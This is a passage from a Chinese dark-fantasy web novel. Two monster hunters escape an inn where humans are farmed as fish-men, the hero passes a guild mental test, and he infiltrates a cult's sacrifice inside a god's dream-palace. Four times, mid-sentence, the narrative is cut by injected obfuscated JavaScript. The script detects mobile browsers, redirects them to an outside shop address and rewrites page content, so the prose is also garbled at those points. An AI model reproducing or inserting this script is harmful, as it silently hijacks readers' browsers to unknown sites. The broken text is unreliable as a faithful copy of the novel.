在即将转回楼梯的时候,他面前的门应声而开,威尔斯的重斧朝着他当头砍来,被路远寒用锯肉刀回手挡下,金属相撞,发出一阵令人牙酸的巨响。 “是我!”路远寒迅速回道,“我已经将遇到的怪物杀了。” 威尔斯满面惊疑不定,显然也遇到了相同的情况。他视线一转,落在路远寒手中的刀上,钢刀表面点点深蓝血迹为他的话增添了几分可信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962863|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,而且旅店里的怪物只能模仿两人的容貌和声音,并不知道路远寒的假名。 一番对证过后,两人终于放下了对彼此的猜疑。 “靠!”威尔斯摸了一下额头上的淤青,“我刚开始还想你下来得怎么这么快,竟然会主动带路,没想到被那家伙熄了灯,摸黑打了一个伏击,还好我反应快,不然就该被锁在房间里了。虽然伤到了那怪物,却让它给跑了……要不是想到你可能会到二零八来落入陷阱,我就不在这里等了。” 听威尔斯一说,路远寒才发现,这间客房门口竟然也挂着二零八的门牌号。 他走近两步,将上面糊着的一层油纸揭了下来,眼前的208赫然变成了218。 想来怪物就是利用这条环形走廊和时间差,将他们二人成功分散开的。只不过要想同时出现在两个地方,至少需要两个伪装成自己人的怪物,路远寒解决了一个,而被威尔斯放跑的那个不知所踪,恐怕还有无数的危险在等着他们。 威尔斯还在疑惑这些怪物为什么要大费周章地将他们锁在二楼,路远寒脸色一沉,格外冷峻地解释道:“恐怕是为了献祭。” “这些家伙应该崇拜着某种庞大的海洋生物,我在真正的二零八搜查时发现那边有触手拖动尸体的痕迹。我怀疑,走廊中间这片天井就是祂从海中进入旅店的通道口,那些被鱼肉蛊惑的人失去理智,自然任其宰割。” “我们只是没有受到鱼肉的影响而已,在那个大家伙面前,仍然是祂的盘中之餐。 说到这里,路远寒抬起了头。 上面两层被黑暗笼罩的回廊之中,隐约露出无数攒聚的人影。那些被鱼肉饲养得模样古怪的客人像是受到了某种征召,此刻都围在走廊上,注视着下方亮起的一点光源。 “这么说来,委托人的儿子也很可能被吃掉了吗……”威尔斯反应过来,当机立断带着路远寒往楼梯口跑,“先撤!这件事超过了我们两个的能力范围,就是缉察队来了也不一定能处理得了。” 两人急匆匆冲到一楼,却发现旅店大门早就关上了,还停留在前厅的数个客人目露凶光,毫不掩盖他们身上潮湿阴冷、如同死鱼一般的腥气,举着蹼爪朝两个猎魔人逼来,焦黄的口齿中还重复着某种嘶哑不清的低语。 在这种危急情况下,威尔斯伸手拔枪射击,猎魔人的枪法例无虚发,一发一个,倾泻而出的子弹将靠近的敌人逼退些许,只是弹药毕竟有限,无法让他们突破重围,只能掩护两人退到一楼的走廊中。 “去那边!”路远寒看到了远在走廊另一端的铁门,“他们的后厨应该就在那里,很可能有出口。” 威尔斯刚好打完最后一匣子弹,立马收起枪跟在他后面狂奔。在一楼看得很清楚,这天井口下确实是汹涌激荡的海水,而上层走廊的人竟然一个紧接着一个纵身跃下,掀起的浪峰高达数尺,仿佛淅淅沥沥灌了场雨,转瞬就被呼啸的海波吞没。 逃命中的两人却没有丝毫停留,出去的希望就近在眼前,路远寒手中的钢刀凶猛地撞在门锁上,将整个锁头砸得粉碎。 6. 鱼人 随着路远寒撞开铁门,门后那惊悚的一幕出现在了他和威尔斯面前。 在这家旅店背后藏着的地方,与其称作后厨,倒不如说是屠宰场。狭窄的空地上排布着数十条体型庞大的畸变死鱼,血水与秽物从鱼腹中漏出来流了一地,乌黑肿胀的鱼鳍甚至已经开始腐臭生疮,仅是它们的瞳孔就有人头大小,被这些庞然大物注视着,连猎魔人也要感到毛骨悚然。 “这群疯子,什么东西都敢往岸上捞。”威尔斯面色铁青,想到他吃下去的鱼肉竟然源自这里,不由得勃然大怒,“也不怕把自己吃死了!” 但事情并非如此简单。两人踩着满地血水从小道中穿过,才发现这些死鱼的腹部竟然是被掏空的。 每条鱼里面都藏着一个人,与那些吃肉上瘾的客人相比,他们已经彻底被驯化成了鱼人,浑身布满幽蓝的鳞片,手指间连着青色的薄膜,靠两颊上的鱼鳃呼吸,下半身虽然还保持着人形,脑袋却和这些畸变过的巨鱼没有差别。他们蜷缩在鱼腹温热的血肉里,仿佛回到了母亲的腹下,不断捧起鱼卵腐肉送到嘴中,重复着进食的动作。 而他们的脸颊、胸口等部位,则有着许多道被刀切割的痕迹。旅店供应的食物链彻底被揭开黑幕,死鱼腹中的人靠吃肉喝血维持生命,店家再从鱼人身上割肉端到前台,让他们沉醉于这种美妙的口感。 这些被饲养成为鱼人的存在,说是人类或畸变物都不准确,他们早已离不开海边潮湿的环境,寿命也相当短暂,只是作为向神祇献祭的工具,在旅店中被榨取着剩余的价值而已。 如果不是刚才耗尽了弹药,威尔斯并不介意顺手给他们解脱。 “找找吧。”路远寒忽然说了一句,“说不定还能完成委托呢,那个亨特少爷有什么特征,穿了什么衣服?” 威尔斯开始回想委托人交给他的照片,以及着重强调的特征:褐色头发、颧骨较高,嘴角下有颗痣,戴了一块金表……金表!他对路远寒喊道:“找找看有没有戴金表的!” 他们的时间有限,旅店里的追杀者虽然行动缓慢,但总会穿过走廊追到这边,要是等到天井下的东西苏醒,那就彻底走不了了。 好在前方狭窄的区域倒是让他们的搜查方便了不少,路远寒负责左侧,威尔斯检查右侧,两人一边紧盯着鱼人们露出的双手一边赶路,稍有不慎,就会踩到从鱼腹内流出的胰脏肠结。更何况雨天路滑,谁也不想在这种地方摔个头破血流。 检查了大概有三十多条鱼后,路远寒终于敏锐地瞟到一块微微反光的物体。它藏在密密麻麻的鱼卵当中,随着灯光越来越近,才露出黏稠血渍下金属的材质。 “找到了!”路远寒将威尔斯招呼过来,用锯肉刀的一端从鱼腹中拨出那块金表,甩到了他脚下。 发现有陌生人接近,被打扰到的鱼人立刻龇牙低声嘶吼起来,似乎随时都要向他们发起攻击。路远寒还没来得及架刀,威尔斯就将一针强效镇静剂打在了鱼人的胸口上。 短暂几秒过后,表情困惑的鱼人就失去了行动能力,被威尔斯扛在了肩上。威尔斯则表示,他随身携带镇静剂也是为了以防万一,现在刚好用上,说明准备后手对一个猎魔人而言是相当有必要的。 路远寒对他的作风深表叹服:“你没想过找错了该怎么办吗?” “错了就错了吧!不都是这个德行吗,难道雇主还能把畸变的人治好不成?他爱养着还是杀了都随便,我只负责把目标带回去。” 威尔斯头也没回,对于这桩差事显然并没有多么尊重。这位亨特少爷浑身都沾着死鱼身上腥臭的血,将他的猎人披风也浸上黑红的色泽,也难怪他是这个态度。 此刻他们已经到了后厨尽头,前面就是一望无际的海崖和被浪涛席卷的礁石,那漆黑的海水里承载着黑区所有的诡异和神秘。路远寒跳上一艘停泊在港口的小船,又从船尾迅速上岸,这样便越过了两侧的围墙。 直到坐上返回霍普斯镇的马车,他才放下手里的锯肉刀。一夜惊魂未定,疲惫感这才后知后觉地涌上来。 威尔斯坐在对面,正对着照片试图辨认出他要押解的这条鱼人跟亨特少爷的相似处。看他那副努力的表现,路远寒不由得开口询问:“威尔斯前辈,雇主到底给了你多少钱?” “八百帝恩币啊。虽然说好三七分,但这一路上要是没有你,我也得栽在那个鬼地方,所以我们对半分就行了。都说了不会亏待你的,放心吧!” 如此轻飘飘的一段话,却在路远寒心中砸起惊涛骇浪。 八百帝恩币,平分的话就是四百,埃尔文的全部身家也就几十帝恩币,茱莉亚那一筐猫眼螺加起来恐怕也没有超过一百。看来威尔斯这单活接得相当大,而且相当危险,恐怕那位委托人对旅店后隐藏着的真相也有所了解,才会舍得付出这样高昂的买命钱。 那地方有命进没命出,现在只能庆幸海中的东西没有饥肠辘辘地醒来,要不是什么都不知情就被威尔斯带了过来,路远寒是绝对不会踏进去一步的。 现在一切平安无事,还有非常高的酬劳,他也就没有责怪威尔斯不负责任。想到刚通过的猎魔人测试,路远寒又问了一句:“等会回去,我就可以到协会参与精神检测了吗?” “对,我得把鱼人给雇主送过去,格林会带你回协会。”威尔斯正擦拭着作为重要证物的金表,“虽然那套题只是为了杜绝反社会分子和感染者混进来,但刚经历过那种事,我建议你现在清空脑袋里所有事,放松心态就好。” 路远寒用指腹将鸟嘴面具的边缘略微抬起一点,呼吸着滤嘴外的空气。 对他而言,猎杀怪物没有什么难度,但接下来要面对的精神检测才是真正的问题。他不知道猎魔人会使用什么手段进行检测,会不会发现他邪祟的身份,但路远寒别无他选,听威尔斯提到时不以为然的口吻,他只能希望这场检测也顺利通过。 回到霍普斯后,载着两人的马车在秘语者酒吧门口缓缓停下。令人惊讶的是,格林竟然真的在这里等了一整夜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962864|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于这个叫奥斯温的年轻人能通过测试,格林并不意外,但他没想到这两人能捅出这么大的乱子。听着威尔斯的讲述,格林的神情由惊愕逐渐转为肃重,抄起一张纸就开始记录事情的前因后果,并将这张纸条随身收了起来。 威尔斯还有正事要办,和他分道扬镳后,格林便带着路远寒前往猎魔人协会。霍普斯镇地形复杂,如果没有路灯等标志物作为指引,很容易迷失在随处可见的枯树与木桩油桶当中。 不紧不慢绕了几次路后,两人来到了一座圣母像前。这尊雕像面露悲悯,却又仿佛在朝世人微笑,从她背后展开的神圣羽翼被常年的雨水浇出道道泪水般的黑痕,而她怀中则抱着一把威严勇猛的重剑,就像杀人不眨眼的堕天使。 在这雕像的威仪前,路远寒越发觉得邪祟无处遁形。 只见格林在旁边的长椅下拉动了某种机关,片刻后就有一处地道的入口出现在了雕像座下。路远寒跟着他走进去,道路两侧都有照明物,并不至于一片漆黑,只是这地道似乎连通了许多地方,每个分岔点都有许多条不同的支路。 与威尔斯粗犷豪放的性格相反,格林在交谈和走路节奏上都很照顾路远寒,他一边带路,一边介绍着不同方向的去处:“左边的路通往训练场,右边则是武器室……锯肉刀用着还顺手吗?” 得到路远寒肯定的答复,格林了然地点了点头:“那就好。有需要的时候可以过来维修或更换武器,等你接受过射击训练,就可以领到属于自己的配枪和弹药了。不过每个月能领到的数量有限,剩下的就要你自己想办法了。” 路远寒跟着格林从地道中的一条支路向上走,没过多久就进到了某座建筑内部。他让路远寒先坐下来稍等片刻,说是有些事情需要汇报,等他回来就会带路远寒去做精神检测。 格林走后,这间空旷的会客厅里便只剩下了路远寒一人。 比起错综复杂的地道,这里的环境反而更密闭幽暗,室内的光源只有一根正在燃烧的蜡烛,烧起的焰苗微微飘荡,随时都有可能熄灭。 为了压制越来越强烈的食欲,路远寒不得不想办法转移注意力。想到那两千帝恩币的天价,他瞬间冷静了许多。即使威尔斯如约分给他四百帝恩币,仍然有一千六百的窟窿需要填补,仅靠接受雇佣委托,恐怕没办法在短时间内凑齐这笔钱,他必须通过一些别的手段来赚取外快。 路远寒开始回想在秘语者看到的怪物材料中有哪些比较珍贵,是黑檀血、直角石壳还是洪流之泪…… 就在他沉思的时候,一道佝偻的身影猛然从门后冲了出来,如野兽般飞快跃上桌面,几根苍瘦的指节紧紧攥住路远寒的脖颈,无论如何也无法挣脱,用力得让他顿感一阵快要窒息的头晕目眩。 “怪物!你们都是邪恶的怪物!这个世界疯了!我要回去,我要回去……”扼着他脖子的红帽老人似喜又悲,神情癫狂地自言自语了几句,面上忽然流露出一种极度惊恐,“你是谁?啊啊、你为什么不让我回去?!” 7. 协会 眼前这个神秘老人很明显无法交流,路远寒试图将掐在脖子上的手指掰开,却发现她的手劲大得出奇,即使被面具上尖锐的鸟嘴戳着也不肯松开手,简直不像是人类应该具有的力量。 由于喘不上气,路远寒的脸开始充血涨红,只要他一个念头,触手就可以将对方撕碎。 但他并没有忘记,这里是猎魔人协会,表现出任何异常都有可能迎来灭顶之灾。 他只得将手中的锯肉刀松开,沉重的刀身咣当一声砸在桌上,压住了对方的几根脚趾,老人被砸得痛叫起来,自然也就放开了对他脖颈的禁锢。 而路远寒已经借机抄起锯肉刀,向后退出了一段距离,他将钢刀拉开舒展成一把锋利长刀,将那难缠的老人拦在了范围以外。他和老人的僵持并没有持续太久,随着一针麻醉弹从门后打入老人的后颈,两个猎魔人出面将她带了出去。强力麻醉的效果显然比威尔斯的镇静剂还要猛烈,立刻就让人安静了下来。 “你表现得很好。”一位身材高挑的女士走了进来,格林紧随其后,“遇到危急情况并不慌张,即使是对自己有威胁的人类,也没有采取暴力措施。事实上你的应对很聪明,不过反应能再快点的话,她就抓不到你了。” “初次见面,我是西蒙娜。”她抽了张椅子,坐在路远寒面前,“刚才的就是检测内容,接下来我会问你几个问题,问完你就可以去报到了。” 果然,路远寒用手摸了摸脖颈上鲜红的指痕,在格林带他进入会客厅的时候,精神检测就已经开始了。虽然袭击他的人已经被其他猎魔人带了下去,但路远寒仍然对她口中那些看似精神失常的话有些在意。 “姓名?” “奥斯温·乔治。” “年龄?” “二十四岁。” “有家族遗传病或者精神病史吗?” “没有。” “有宗教信仰吗?”问到这个问题时,西蒙娜的口吻不再随意,她眼神犀利地望着路远寒,那战士般的体格无疑给人带来一种强烈的压迫感。 看来猎魔人在这方面审查相当敏感,要是埃尔文那种异教徒在这里,恐怕已经被肃清了。路远寒并没有犹豫,坦然答道:“没有。” “很好,我们不需要极端主义的疯子。”西蒙娜微微一笑,靠在椅背上,“听格林说,你已经和威尔斯出过任务了是吗,对于天井下的东西,你有什么感想?” 再次回想起在海边旅店的经历,那神秘的触手恐怕一条就有舰艇大小,路远寒权衡片刻,让自己的声音适当地带上了一点颤抖:“嗯…恐惧、迷茫,在那种未知的存在面前,感觉自己很渺小,性命被掌握在他人手中。” “这是正常表现,奥斯温。不用紧张,到秘语者点一杯静谧铃兰,有助于缓解焦虑。”西蒙娜提了个建议,鹰隼般的视线落在路远寒脸上,“最后一个问题,可以将你的面具摘下来吗?” 随着路远寒伸手取下面具,他缠着几层绷带的眼部也就出现了西蒙娜和格林面前。一整夜过去,伤口已经不再流血,但那深红的血渍仍然触目惊心。 “好的,现在没有问题了。”西蒙娜示意他可以戴上面具了,在手中的审查表上写了些什么,转头对格林吩咐,“带他去领东西吧。” 于是,路远寒又跟着格林进了地道,格林对他笑了一笑:“西蒙娜大人似乎对你很认可,前途无量啊,奥斯温。” “大人?”路远寒重复了一遍。 “是的。”格林解释道,“西蒙娜大人在地海有着狂暴战士的名号,刚才我们看到的那座雕像也是以她为原型。只有她能拒绝缉察队的征调,换作其他人,敢说一个不字就死无葬身之地了。” 对于这个威名赫赫的称号,路远寒并不觉得意外。他还是很在意那位老人,趁机问道:“刚才检测的时候,我要是失手把人打死了…” “不会的,房间里装了潜望镜,更何况西蒙娜大人就在外面,要是发现有什么不对,会及时出手控制事态的。” 控制事态指的是一旦发现检测人有被感染的迹象,就立刻击毙吗?路远寒在心中揣测。 格林回头看了一眼路远寒,似乎觉得那古井无波的面具很有趣:“刚才吓到你了吧?被带走的那位前辈也是一个猎魔人,她被地海刺激得有些精神失常了,但也不算是感染者,像这种特殊情况,就将人留在协会看管了。” 地海吗,路远寒暗自思忖着,不知道老猎魔人口中所说的她要回去是回到哪里,明明已经回到了岸上,为什么还像是迷失在黑暗中一样,细想之下,让人毛骨悚然…… 交谈间,两人已经到了武器室。除了墙上陈列的各种重型兵器与枪支弹药,属于猎魔人的制服徽章等物品也统一在这里领取。面对格林的询问,路远寒选择了一套便于战斗的紧身套装,以及一条灰黑披风。 格林将一枚刻着数字的护符递给他,介绍道:“以后你就是第九小队的成员了。” 据格林所说,猎魔人虽然大都是独来独往,但也有需要和别人协作完成委托的情况,因此队伍也就有了存在的意义。他们可以自己选择同伴,比如格林和威尔斯就隶属于不同小队,也可以一起行动。但他们不能拒绝队友的求助,协会偶尔也会以小队形式将他们派遣出去,不过那种情况少之又少,猎魔人大多数时候都很松散自由。 路远寒低头望着掌心里的护符,他终于成为了猎魔人,离死亡威胁又远了一步。但前面饿得太久,他已经快克制不住那疯狂暴涨的欲望,必须尽快寻找食物。 跟格林告别后,路远寒就从地下出来,直接奔向了霍普斯大教堂区。盘踞在那里的怪物并不只野狗一种,数量众多,又人迹罕至,说是自助餐也不为过。 一道惊雷当空劈下,照亮了路远寒面具上冰冷而坚硬的鸟喙。他居高临下地站在屋顶上,用视线迅速扫视着周围,确认没有人在附近后,毫不犹豫从高处翻滚跃下。重重劈下的锯肉刀将他压着的野兽一击毙命,黑血泼洒在他脸上,从他身后迸射的触手一条条向四面散去,瞬间就将蜂拥而上的怪物绞紧猎杀。 雨水顺着披风滴落在血泊之中,路远寒坐在尸体身上,平静地注视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962865|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着触手进食的过程。 这些畸变的血肉为他提供了一顿饱餐,至少在最近几天,他都不需要压抑自己的食欲了。 由于路远寒把伞落在了旅店里,等他回到诊所,身上的制服已然被水浸透,黑发也湿漉漉贴在颈上,每走一步,就在地板上留下一个淌水的鞋印。 路远寒站在二楼的手术床前,望着那扇黢黑的窗户。换作两天前,他可能还会觉得一间死过人的诊所充满恐怖气息,但是通过这几天发生的事情,路远寒已经认清了黑暗而残酷的现实。 他摘下面具,轻车熟路地躺上手术床,用薄毯给自己盖好。虽然刚解决了触手的进食问题,但高强度的战斗让他浑身都很疲惫,在一片寂静中,路远寒闭上眼睛,慢慢陷入了沉睡。 一阵窸窣的响动将他从睡梦中唤醒。 路远寒悄无声息地从床上下来,抄起锯肉刀向外走去。自从穿越到这个世界,他的感知器官就变得格外敏感,任何异常都能引起他的警觉。不过这也未必就是坏事,毕竟这种捕捉危险的直觉在战斗中至关重要。 他如同一道幽影潜伏在楼梯边上,从高处看下去,正有个蹑手蹑脚的人在四处张望。由于对方戴着兜帽,盖住了大半张脸,路远寒并不能看清他的长相。 他猜测这人是来找埃尔文的,不过他获取的记忆有限,并不清楚埃尔文平时具体都和谁来往。 在对方握住地下室门把手的时候,路远寒翻身而下,精准地落在了他的身后。门板上照出一个提着钢刀的影子,路远寒用指肚摩挲着刀柄,开口问道:“你是谁?” 神秘人夺路而逃,却被路远寒擒住胳膊,用力放倒在地。兜帽下露出一张苍白而惊恐的脸,看模样还很年轻,他不断嚷嚷着:“我是来找螳螂的…螳螂在哪?” 路远寒记起来,螳螂似乎是埃尔文在他信奉的教会里的代号。他反问道:“你找他做什么?” “这,我不能告诉你……” 路远寒举起锯肉刀,神秘人被刀上反射出的银光震慑得说不出话,片刻后才嗫嚅着道:“难道你把螳螂杀了?天啊…少一个人参加仪式的话,王会震怒降下灾厄的,我们都得死!所有人!” 仪式?灾厄?路远寒捕捉到几个关键词,埃尔文是自杀身亡,但按照神秘人所说,他们那位高高在上的王并不会赦免信徒的罪行,到时候降下的惩罚必将把整座小镇都覆灭。 事情变得麻烦了。 要是放着这个人不管,不说他提到的灾厄是真是假,他将埃尔文死了的事情传出去,路远寒就要同时面对猎魔人和缉察队的审查;而把他关进地下室或者杀了,对方教会也迟早会找上门来。最好能让他自己保守住秘密,哪怕要死,也不能死在这间诊所里,和埃尔文扯上关系。 路远寒稍作思考,很快就有了决断:“好了,你不用管螳螂在哪,我来顶替他的位置。” 看神秘人似乎又要张嘴,他神情阴鸷,将刀刃贴得离对方温热的脖颈更近了些:“闭嘴,不然我就杀了你。既然所有人都得死,那我提前送走你,也算是做好事了。” 8. 王庭 在死亡的威胁面前,神秘人选择了屈服。 献祭仪式马上就要开始,他们的教徒数量有限,现在临时找人凑数,恐怕也没有人愿意接下这桩差事,既然这个绷带怪人愿意顶替螳螂的位置,那当然是再好不过了。 神秘人告诉路远寒,他的代号是白犬。作为维诺拉教会的一员,每个教徒都需要用某种动物或昆虫的名称作为自己的代名。为了侍奉那位王,每两个月会举行一次献祭仪式,作为福报,参与的教徒将沐浴在祂的恩惠之下。 再过三个小时,本次献祭仪式就要开始了。 以往埃尔文都会准时参加仪式,这次却迟迟没有出现,教会才派了白犬来找他。 现在路远寒要顶替他的身份,好在教会的罩袍有兜帽,戴上之后很难分清教徒的面容,他从诊所里找到罩袍换上,又将锯肉刀藏在衣服下,才跟着白犬前往他们教会。 马车行驶得飞快,从霍普斯镇中部拐出,离城镇越来越远,直到车身被茂密的植物淹没。此地怪石嶙峋,遒劲的树身盘曲成诡异的模样,表面的纹路犹如一只只没有睫毛的眼睛,成百上千地聚集在树皮上,而维诺拉教会就隐匿在这密林之中。 白犬说,从这里开始就需要步行前往教会了。 在这片幽深密林中穿行并不是一件容易的事,四周仿佛潜藏着无数的危险,在这种静谧诡异的氛围下,一点微小的响动都会让人感到无比焦躁。 在白犬的带领下,两人拨开几扇比他们还高的苇草,露出一条湍急的溪流。属于教会的建筑就矗立在溪流对岸,隐约可以看到篝火升起的浓烟与光亮。 随着白犬将一块兽骨丢进水中,顿时有数块石板从远方浮出水面,越过溪流飘到了他们面前。等到近处才能发现,那石板上还用微微发亮的文字刻着谜题。 白犬立刻闭上眼睛,对路远寒提醒道:“那是恶魔的蛊惑…不要看,不要想,不要听!” 而他竟然闭着眼踩在了石板上,一步一步走了过去。 他的警告显然并不是空穴来风,路远寒也闭上双眼,从罩袍下静悄悄露出了一截触手,微小得就像是尾巴尖,勾着白犬的衣角,跟在这人身后跨过了溪流。等到上岸,又立刻收了回去。 此时仪式即将开始,众多教徒都在为其准备,白犬带着路远寒急匆匆进了教会,穿过几条走廊,终于到了祭坛所在的地方。 那祭坛修建得极高,由高处垂下殷红如血的幕布,掩盖着背后轮廓隆起的塑像,四角处则各点着一盏烛台,身披罩袍的教徒们匍匐在地,在口中虔诚地颂念着某种密文。 再加上路远寒和白犬,便凑齐了仪式所需的九十九人。 他们两人在最外围的一圈跪下,路远寒虽然不清楚经文的具体内容,但照着身边人有样学样地低声呢喃,并没有人察觉出他的异常。 随着钟声敲响,祭祀的时间到了,离祭坛最近的一名黑衣主教起身宣告: “神圣而崇高的王啊!愿您的名被世人传颂,愿您的荣光在世上传播。恳请您享用我们献上的祭品,带领您的子民前往神国。” 而他口中提到的祭品,赫然是祭坛中央的两只大鼎。左侧的鼎中盛着蠕动的畸变血肉,另一边则是烹煮着人彘的肉汤,那人的眼睛内脏都已被挖去,舌头也被割下,扔在沸腾的热水中烫得通红,飘散出阵阵萦绕于鼻腔的肉香。 比起献祭,更像是一种极端的酷刑。 路远寒紧皱着眉头,使用这种血腥的手段,难道就能从未知存在那里得到回应吗? 接下来看到的东西,却让他瞳孔骤缩。 鼎中的血肉像被吃掉似的一块一块逐渐消失了,旁边那个人彘的脑袋骤然裂开,飙出的鲜血脑液洒得遍地都是,碎掉的脑壳则悬浮在空中,从旁边传来咀嚼的声音,就像有什么无形的存在正享用着祂的晚宴。 等到祂进食结束,跪在地上的教徒纷纷起身,秩然有序地排成长队,一个接着一个从祭坛旁边的门走了出去。 路远寒跟在白犬身后,他仿佛对这诡异的献祭仪式习以为常,并没有表露出什么异样,甚至不如被路远寒用刀架住脖子时那样慌张。 从教会内部出来,门后的世界再次颠覆了路远寒的认知。密林里那些怪树消失了,取而代之的是一条通往远处的坡路,辉煌而华贵的宫殿雄据在高崖上,王庭覆盖的范围比几座城镇聚集起来还要更广阔,崖顶至少有千丈高,峭壁下黑色的潮水席卷一切,无数雪白的浪花飞起又湮灭。 这怎么可能?路远寒停了下来。 他来的时候看得很清楚,维诺拉教会后面只是一片寻常树林,眼前的景象简直像是海市蜃楼。但队伍前列的人已经顺着坡道往上走去,这些事切实地发生在了他面前。 难道他们现在已经进入了另一个空间,这就是所谓的神国吗? 路远寒回过神来,他发现自己的触手莫名消失了,无论他如何尝试也没能让身体变得扭曲,仿佛他从未变成怪物一样。但那种对血肉的渴望还刻在他的本能中,虽不明显,却如影随形地依附着路远寒的存在。 路远寒上前抓住白犬的肩膀,却发现他脸上洋溢着非常幸福的神情,仿佛已经再无遗憾,现在就能慷慨赴死一样。 他的耐心已经所剩无几:“这仪式到底是怎么回事?” 此时一声巨响从前面传来,路远寒转头望去,只见一双幽灵般的大脚轰隆隆从上方碾过,将队伍前面的几人踩得血肉横流,脚掌每次落下都让地面微微震颤,燃起洁白的火焰。被踩烂的肉糜惨叫连连,剩下的教徒却置若罔闻,越过同伴的尸体,向着理想中的神国走去。 白犬笑着说:“我们在祂的梦中,觐见祂的神颜。” 原来这一切都是在那位王的梦中,也难怪路远寒的力量会受到压制。既然仪式每两个月举行一次,那梦境必然不会延续太久,否则这些教徒的肉身也会被饿死在外面。 想到这里,路远寒稍微放下心来。 白犬不想耽误进程,拍开他的手就跟上了队伍。那双带来死亡的脚掌已经远去,朝圣的队伍重新出发,路远寒也不紧不慢地跟在后面。 梦境的特异之处再次体现,原本远如天堑的王庭,在他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962866|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的步伐下竟然很快就出现了在眼前。一条颜色鲜明约两层楼高的蚰蜒盘踞在大门上,承担起看守的职责,用巨大的复眼巡视着进入王庭的每一个人。 进了王庭,便能看到无数穿行的怪物邪祟,它们形容恐怖,而且体型庞大,仅仅扫上一眼就有可能暴毙身亡。 想起过溪流时白犬那句警告,路远寒低着头不发一声,安静地尾随在队伍后面。 忽然间,有什么温热的触感浇在他头顶上,将兜帽浸得通红。随着一阵血雨纷纷扬扬地落下,嗡嗡的振翅声在头顶上轰鸣,路远寒可以想象到,某种会飞行的昆虫正攥着前面的人在空中撕咬。 他觉得所谓的朝觐根本就是一场屠戮,即使是在梦境中死去,也有着难以预料的后果。 那振翅声越来越大,路远寒感到一阵不妙,猛然往旁边扑去。细长的足钩带下了那截染血的绷带,他抬头望着那巨大的蜻蜓将绷带放进口器中咀嚼,又立马吐了出来,顷刻间浑身震颤着坠向地面,扑腾几下后再也没有了气息。 路远寒顿住了。看来自己的血对某些畸变物来说是有剧毒的,但为什么在梦中也能生效? 他百思不得其解,但知道身上的神秘力量并未被完全限制,那自己的安全也就多了几分保障。 参与仪式的九十九人只剩下不到一半,这座吃人的宫殿才揭起它的帘幕。侍奉神祇的寝居比正常建筑要大出数百倍,到处伫立着通天的雕像,每扇门洞后都连接着无穷无尽的黑暗,一点幽光飘在前方为他们引路。人类行走在其中,显得万分渺小。 他们穿过两扇宏伟而美丽的门,终于到了寝宫内部,所有疯狂与诡异在这里达到了顶峰。 四面血肉构筑成的墙壁微微起伏,从肉泥表面浮出的眼珠转动着望向底下的教徒。那些镶嵌在墙里的手臂一条条挥舞摆动,一旦被它们抓住,就会被拖进墙中,与血肉山彻底融合。 在宫墙簇拥的中心,潜藏着维诺拉教会敬仰的王。 祂倒悬在半空之中,圆卵状的腹部缠绕着无数条迷雾般的丝线,一道腹柄贯穿上下,剩下的八条节肢攀附在绵密幽深的网上,数以千计的畸变尸体被蛛丝紧绞着黏在网中,从他们胸口冒出的细线汇聚到突起的腹面上,编织出那巨大而诡谲的脸庞。 “啊啊!敬爱的王啊,我们赞颂您的慈悲!” 路远寒听到黑衣主教激动地叫喊起来,教徒们顿时匍匐在地,跪拜着空中那异常雄大的臃肿黑影。虽说是为了觐见神颜,但没有人敢抬头窥探祂的真容,而那蜘蛛般的外型,恐怕也只是一种化身的体现。 随着巨口一吐,无数鬣狗大小的蜘蛛密密麻麻坠落在地上,如潮水般向着四周散去。快速爬行的声音此起彼伏,回荡在空旷的宫殿当中。 作为王的使者,每一只蜘蛛都有自己寻找的目标。它们停在谁的面前,就意味着王的旨意降临在谁身上,被选中的教徒无一不是满脸喜悦,仿佛得到了天大的恩赐。 路远寒呼吸一顿,和一双浑圆的眼睛对上视线。他看着那只被绒毛覆盖的蜘蛛从旁边掠过,缓慢停在了白犬面前。 9. 囚牢 白犬脸上浮现出一种难以置信的神情,他急促地喘息了两下,随后便重重将头磕在地上,眼底满是对王的恭敬与崇拜。对于他们而言,能被祂认可无疑是一种莫大的荣幸。 